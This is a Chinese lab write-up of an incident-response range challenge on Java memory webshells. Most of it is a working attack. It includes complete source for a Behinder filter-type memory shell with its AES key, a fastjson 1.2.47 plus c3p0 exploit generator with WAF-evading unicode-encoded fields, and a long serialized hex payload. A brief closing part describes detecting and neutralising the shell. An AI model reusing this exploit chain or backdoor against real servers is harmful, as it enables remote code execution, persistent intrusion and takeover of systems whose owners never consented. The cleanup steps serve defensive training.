应急响应之内存马

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2023年12月15日19:11:15评论91 views字数 32936阅读109分47秒阅读模式

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01

前言

网络安全应急响应是指在网络遭受攻击或发生故障时，及时采取有效措施，恢复网络正常运行，保护网络资源和数据安全的过程。网络安全应急响应能力是衡量一个组织或个人在面对网络危机时的应对能力和水平的重要指标。

为了提高网络安全应急响应能力，EDI安全团队推出了玄机应急响应靶场，这是一个专业的网络安全实验平台，提供了多种真实的网络攻防场景，在安全的环境中模拟网络安全事件的发生和处理，学习和掌握网络安全应急响应的理论和技术。
玄机应急响应靶场的特点有：
  • 丰富的场景：日志分析、流量特征分析、内存马等。
  • 灵活的模式：支持在线
  • 靶机WriteUp：提供了解题步骤。
玄机应急响应靶场是一个适合各个层次的网络安全爱好者和从业者的学习和练习平台，无论您是初学者还是高手，都可以在玄机应急响应靶场中找到适合您的挑战和乐趣，提升应急响应能力。欢迎各位师傅加入玄机应急响应靶场，让我们一起学习和成长！
本篇文章投稿来自jiangyuan师傅，鸣谢vulntarget
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02

WriteUp

内存马分析-java03-fastjson

fastjson结合c3p0不出网利用打入内存马

1、端口扫描发现8088端口开放，存在web页面。

应急响应之内存马

2、web页面存在一个登录框，请求中去掉一个}，发生报错，但未回显fastjson相关字符，推测可能对错误页进行了简单修改。

应急响应之内存马

3、直接探测fastjson版本，依旧没探测到发fastjson相关字段。

应急响应之内存马


4、uniqude编码后再试试，成功回显fastjson版本，可能原因是代码中加了一层waf，过滤了一些如@type字段。

应急响应之内存马

5、Fastjson1.2.47版本以下存在mappings缓存通杀绕过，利用的方式为JNDI，但不要忘了JNDI的利用是有一定条件的：

  • 非严格意义的出网，比如这里我们控制了外网主机，可以使用该主机作为server端提供ldap或rmi
  • 受到JDK版本限制，JDK8u191后受到trusturlcodebase限制远程加载，但也有绕过方法。这里因为机器内JDK版本较高，JNDI注入并不太合适，所以需要找其他利用链。

6、因此下一步探测存在的依赖。利用Character转换报错可以判断存在何种依赖，当存在该类时会报出类型转换错误，否则无显示，同样的，这里@type也需要编码。因此，通过这种方法结合已知的FastJson利用链所需要的依赖类，最终探测服务中存在C3P0依赖。

应急响应之内存马

7、FastJson本身结合C3P0有很多利用方式，其中提的最多的是不出网利用，hex base二次反序列化打内存马。在c3p0+FastJson利用其他文章中介绍的是需要依赖像cc链这样的反序列化链，但其实是不需要的，因为FastJson全版本都存在原生反序列化漏洞，且是通过TemplatesImpl加载类，更加适合。先找一个冰蝎内存马:Tomcat的Filter型内存马,但因为是TemplatesImpl这条链加载字节码，所以需要extends AbstractTranslet并重写两个方法，否则加载不了这个类。编译为IceShell.class：

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.misc.BASE64Decoder;
public class IceShell extends AbstractTranslet implements Filter {    private final String pa = "3ad2fddfe8bad8e6";
    public IceShell() {    }
    public void init(FilterConfig filterConfig) throws ServletException {    }
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        HttpServletRequest request = (HttpServletRequest)servletRequest;        HttpServletResponse response = (HttpServletResponse)servletResponse;        HttpSession session = request.getSession();        Map<String, Object> pageContext = new HashMap();        pageContext.put("session", session);        pageContext.put("request", request);        pageContext.put("response", response);        ClassLoader cl = Thread.currentThread().getContextClassLoader();        if (request.getMethod().equals("POST")) {            Class Lclass;            if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            }
            filterChain.doFilter(servletRequest, servletResponse);        }
    }
    public void destroy() {    }
    public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {        byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");
        try {            Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);            define.setAccessible(true);            Class uclass = null;
            try {                uclass = cl.loadClass("U");            } catch (ClassNotFoundException var18) {                uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length);            }
            Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);            constructor.setAccessible(true);            Object u = constructor.newInstance(this.getClass().getClassLoader());            Method Um = uclass.getDeclaredMethod("g", byte[].class);            Um.setAccessible(true);            String k = "3ad2fddfe8bad8e6";            session.setAttribute("u", k);            Cipher c = Cipher.getInstance("AES");            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));            byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine()));            Class eclass = (Class)Um.invoke(u, eClassBytes);            Object a = eclass.newInstance();            Method b = eclass.getDeclaredMethod("equals", Object.class);            b.setAccessible(true);            b.invoke(a, pageContext);        } catch (Exception var19) {        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }
    static {        try {            String name = "AutomneGreet";            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");            Configs.setAccessible(true);            Map filterConfigs = (Map)Configs.get(standardContext);            if (filterConfigs.get("AutomneGreet") == null) {                Filter filter = new IceShell();                FilterDef filterDef = new FilterDef();                filterDef.setFilter(filter);                filterDef.setFilterName("AutomneGreet");                filterDef.setFilterClass(filter.getClass().getName());                standardContext.addFilterDef(filterDef);                FilterMap filterMap = new FilterMap();                filterMap.addURLPattern("/shell");                filterMap.setFilterName("AutomneGreet");                filterMap.setDispatcher(DispatcherType.REQUEST.name());                standardContext.addFilterMapBefore(filterMap);                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);                constructor.setAccessible(true);                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);                filterConfigs.put("AutomneGreet", filterConfig);            }        } catch (Exception var10) {        }
    }}
8.内存马做好后结合c3p0链生成json，最终exp如下：
import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;
public class rce {    public static void main(String[] args) throws Exception {        String hex2 = bytesToHex(tobyteArray(gen()));        String FJ1247 = "{n" +                "    "a":{n" +                "        "\u0040\u0074\u0079\u0070\u0065":"java.lang.Class",n" +                "        "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"n" +                "    },n" +                "    "b":{n" +                "        "\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",n" +                "        "\u0075\u0073\u0065\u0072\u004F\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006E\u0067":"HexAsciiSerializedMap:" + hex2 + ";",n" +                "    }n" +                "}n";        System.out.println(FJ1247);    }    //FastJson原生反序列化加载恶意类字节码    public static Object gen() throws Exception {        TemplatesImpl templates = TemplatesImpl.class.newInstance();        byte[] bytes = Files.readAllBytes(Paths.get("C:\Users\Administrator\Desktop\untitled\src\main\java\IceShell.java")); //做好的冰蝎马地址，读取其中字节即可        setValue(templates, "_bytecodes", new byte[][]{bytes});        setValue(templates, "_name", "1");        setValue(templates, "_tfactory", null);
        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        setValue(bd,"val",jsonArray);
        HashMap hashMap = new HashMap();        hashMap.put(templates,bd);        return hashMap;    }    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }
    //将类序列化为字节数组    public static byte[] tobyteArray(Object o) throws IOException {        ByteArrayOutputStream bao = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bao);        oos.writeObject(o);   //        return bao.toByteArray();    }
    //字节数组转十六进制    public static String bytesToHex(byte[] bytes) {        StringBuffer stringBuffer = new StringBuffer();        for (int i = 0; i < bytes.length; i++) {            String hex = Integer.toHexString(bytes[i] & 0xff);      //bytes[]中为带符号字节-255~+255，&0xff: 保证得到的数据在0~255之间            if (hex.length()<2){                stringBuffer.append("0" + hex);   //0-9 则在前面加‘0’,保证2位避免后面读取错误            }else {                stringBuffer.append(hex);            }        }        return stringBuffer.toString();    }}

9.加入tomcat和fastjson依赖，编译运行，得到一串json格式数据。

<dependencies>        <dependency>            <groupId>org.apache.tomcat.embed</groupId>            <artifactId>tomcat-embed-core</artifactId>            <version>8.5.37</version>        </dependency>        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.47</version>        </dependency>    </dependencies>

应急响应之内存马

{  "a":{    "u0040u0074u0079u0070u0065":"java.lang.Class",    "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"  },  "b":{    "u0040u0074u0079u0070u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",    "u0075u0073u0065u0072u004fu0076u0065u0072u0072u0069u0064u0065u0073u0041u0073u0053u0074u0072u0069u006eu0067":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e002000078700000254acafebabe0000003401880a005e00cc0800cd09004b00ce0700cf0700d00b000400d10700d20a000700cc08007f0b004900d308007b08007d0a00d400d50a00d400d60b000400d70800d80a00d900da0a002400db0a001c00dc0a001c00dd0800de0a004b00df0b00e000e10a00e200e30800e40a00e500e60800e70700e80700a40900e900ea0a001c00eb0a00ec00ed0800ee0a002700ef0700f00700f10a00e900f20a00ec00f30700f40a001c00f50a00f600ed0a001c00f70a00f600f80800f908009d0b00fa00fb0800fc0a00fd00fe0700ff0a00d901000a003101010a00fd01020701030a003500cc0b000401040a010501060a003501070a00fd01080a001c010908010a07010b08010c07010d0a003f010e0b010f01100701110801120a001c01130800c90a001c01140a011500ed0a011501160701170b004901160701180a004b00cc0701190a004d00cc0a004d011a0a004d011b0a004d011c0a0042011d07011e0a005300cc08011f0a005301200a0053011b09012101220a012101230a005301240a0042012507012607012707012807012901000270610100124c6a6176612f6c616e672f537472696e673b01000d436f6e7374616e7456616c75650100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301000a4c4963655368656c6c3b010004696e697401001f284c6a617661782f736572766c65742f46696c746572436f6e6669673b295601000c66696c746572436f6e66696701001c4c6a617661782f736572766c65742f46696c746572436f6e6669673b01000a457863657074696f6e7307012a0100104d6574686f64506172616d6574657273010008646f46696c74657201005b284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b4c6a617661782f736572766c65742f46696c746572436861696e3b29560100064c636c6173730100114c6a6176612f6c616e672f436c6173733b01000e736572766c65745265717565737401001e4c6a617661782f736572766c65742f536572766c6574526571756573743b01000f736572766c6574526573706f6e736501001f4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b01000b66696c746572436861696e01001b4c6a617661782f736572766c65742f46696c746572436861696e3b010007726571756573740100274c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b010008726573706f6e73650100284c6a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73653b01000773657373696f6e0100204c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b01000b70616765436f6e7465787401000f4c6a6176612f7574696c2f4d61703b010002636c0100174c6a6176612f6c616e672f436c6173734c6f616465723b0100164c6f63616c5661726961626c65547970655461626c650100354c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b01000d537461636b4d61705461626c6507011807012b07012c07012d0700cf0700d007012e0701170700f40700e807012f01000764657374726f79010009527573685468657265010081284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703b295601000576617231380100224c6a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e3b010006646566696e6501001a4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000675636c61737301000b636f6e7374727563746f7201001f4c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b010001750100124c6a6176612f6c616e672f4f626a6563743b010002556d0100016b010001630100154c6a617661782f63727970746f2f4369706865723b01000b65436c61737342797465730100025b4201000665636c617373010001610100016201000862797465636f64650701300700f007010b0100095369676e61747572650100a7284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b29560100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646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   }}
10、同样对@type字段unicode编码，注入内存马。

应急响应之内存马

11、成功连接注入的内存马

应急响应之内存马


应急响应之内存马

12、直接冰蝎命令执行查看内核版本

应急响应之内存马


查杀内存马

1.冰蝎修改root密码，ssh登录上去，上传即将用到的两个文件cop.jar和arthas-boot.jarcop.jararthas

2、使用cop.jar将java内存拷贝出来并打包

应急响应之内存马

3、使用d盾、河马等软件自动找到内存马文件

应急响应之内存马

4、修改可疑文件中的冰蝎密钥，并重新编译（也可以修改其他地方，确保文件无法利用或无危害即可）

应急响应之内存马

5、上传编译后的文件IceShell.class，使用arthas热更新该文件。若未配置java环境变量，使用find / -name java 找到java路径即可。

应急响应之内存马

6、用之前的密钥冰蝎连接失败，用修改后的密钥冰蝎连接成功。

应急响应之内存马

应急响应之内存马


应急响应之内存马


后门查杀

如图清除即可。

应急响应之内存马

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应急响应之内存马

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  • 本文由 发表于 2023年12月15日19:11:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   应急响应之内存马http://cn-sec.com/archives/2304297.html

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